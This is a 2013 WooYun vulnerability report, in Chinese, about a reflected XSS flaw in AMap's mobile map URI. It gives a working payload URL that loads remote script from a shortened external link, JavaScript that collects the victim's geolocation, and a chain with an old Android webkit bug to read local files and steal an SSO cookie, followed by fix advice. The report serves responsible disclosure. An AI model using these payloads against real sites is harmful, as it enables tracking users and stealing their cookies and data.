当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-026331

漏洞标题:用高德地图反射xss取访客位置和android-webkit xss

相关厂商:高德软件

漏洞作者: horseluke

提交时间:2013-06-19 17:41

修复时间:2013-08-03 17:42

公开时间:2013-08-03 17:42

漏洞类型:xss跨站脚本攻击

危害等级:低

自评Rank:5

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-06-19: 细节已通知厂商并且等待厂商处理中
2013-06-19: 厂商已经确认,细节仅向厂商公开
2013-06-29: 细节向核心白帽子及相关领域专家公开
2013-07-09: 细节向普通白帽子公开
2013-07-19: 细节向实习白帽子公开
2013-08-03: 细节向公众公开

简要描述:

因业务原因对GIS在线地图商进行了一些业务接触和开发,完成后就顺带进行了复查,然后发现一个各地图商常犯的反射xss错误。这里以高德为例,展示如何结合GIS业务特点借助xss做些有意思的事情,顺带实践SuperHei去年那篇基于android-webkit的xss。

详细说明:

(1)许多GIS在线地图商有提供基于url的跳转接口,用于直接跳到地图页面进行poi展示,比如高德的手机浏览器URI之地图标注:
http://mo.amap.com/?q=31.234527,121.287689&name=park&dev=0
(http://api.amap.com/URI/browser_guide)
不过许多时候GIS在线地图商会对某些用户自定义参数没有控制好,很容易导致xss发生,比如高德的反射xss参数在name。不过既然是在GIS,要xss总得要充分利用其业务价值,比如说:获取访客地理信息。
(2)SuperHei有一篇基于android-webkit的xss:
http://www.80vul.com/webzine_0x06/PSTZine_0x06_0x05.txt
根据文档中的内容和个人实践来看,只要Android 4.0以下,就一定有“[0day-NO.1]、android-webkit跨协议漏洞”,那么就等于只要网站有任意一个反射xss,那么就可以诱导访问手机受害者的一些特殊文件(视乎文件权限而定)。

漏洞证明:

此处结合新浪微博客户端的android-webview来演示。
(1)构造url:

http://mo.amap.com/?q=22,110&name=%3Cimg%20src=%22%22%20onerror=%22this.error=null;window.jQuery.getScript('http://t.cn/zH3lOn0');%22%20%3E#thirdpoi


这个url使用了地图中jquery提供的载入js方法直接载入,以此绕过xss筛选器。
http://t.cn/zH3lOn0 的重点代码:
(A)xss_tester.amap.getLocation方法中,通过AF.GeolocationService.getPosition方法当前访问者位置、以及通过AF.Geocoder.regeocode方法获取附近地标:

xss_tester.amap.getLocation = function(){

AF.GeolocationService.getPosition(
function(result_location){
var user_cuurent_location = {};
//略

var geocoder_one = new AF.Geocoder({range:1000,crossnum:0,roadnum:0,poinum:3});
geocoder_one.regeocode(
result_location,
function(regeocode_result){
//略
alert(
'当前经纬度:' + user_cuurent_location.lng
+ user_cuurent_location.lat + "\r\n"
+ '精度:' + user_cuurent_location.accuracy + "\r\n"
+ '最近的位置:' + user_cuurent_location.province_name + user_cuurent_location.city_name + user_cuurent_location.district_name + user_cuurent_location.poi_name
+ "(方位:" + user_cuurent_location.poi_direction + "方向约" + user_cuurent_location.poi_distance + '米)'
);

},
function(regeocode_error){
//略
}
);
},

function(error){
//略
}
);


(B)xss_tester.amap.readLocalFile方法是照搬SuperHei的代码而写,在此感谢。
(2)将上面的url生成短链(这是因为直接发微博是发不到的;而tinyurl.com也会被微博拦截无法访问):
http://is.gd/dvgkzZ
(3)发微博

1.png


(4)诱导受害者访问
获得cookies:高德挂万漏一了,重要的sso登录信息passport_login键值刚好没有httponly保护。(此处以chrome访问为例)

2.png


利用高德接口,获得受害者的方位等信息:

3.png


(android < 4 有效)获得/system/build.prop内容(可读原因:other用户可读)

4.png


(android < 4 有效)获得/data/data/com.sina.weibo/shared_prefs/com.sina.weibo_preferences.xml内容,被遮盖处即为新浪微博的uid(可读原因:该webview是由微博启动)

5.png

修复方案:

以下建议针对高德地图,其他地图商请根据情况自行检查。
(1)修复手机浏览器URI之地图标注的参数name,做好html代码转义
(2)复查其他各类api(尤其是可以让用户输入参数的api)是否存在类似问题
(3)对cookies中的passport_login键值作httponly保护

版权声明:转载请注明来源 horseluke@乌云


漏洞回应

厂商回应:

危害等级:低

漏洞Rank:5

确认时间:2013-06-19 19:19

厂商回复:

思路不错,感谢反馈

最新状态:

2013-06-24:已修复XSS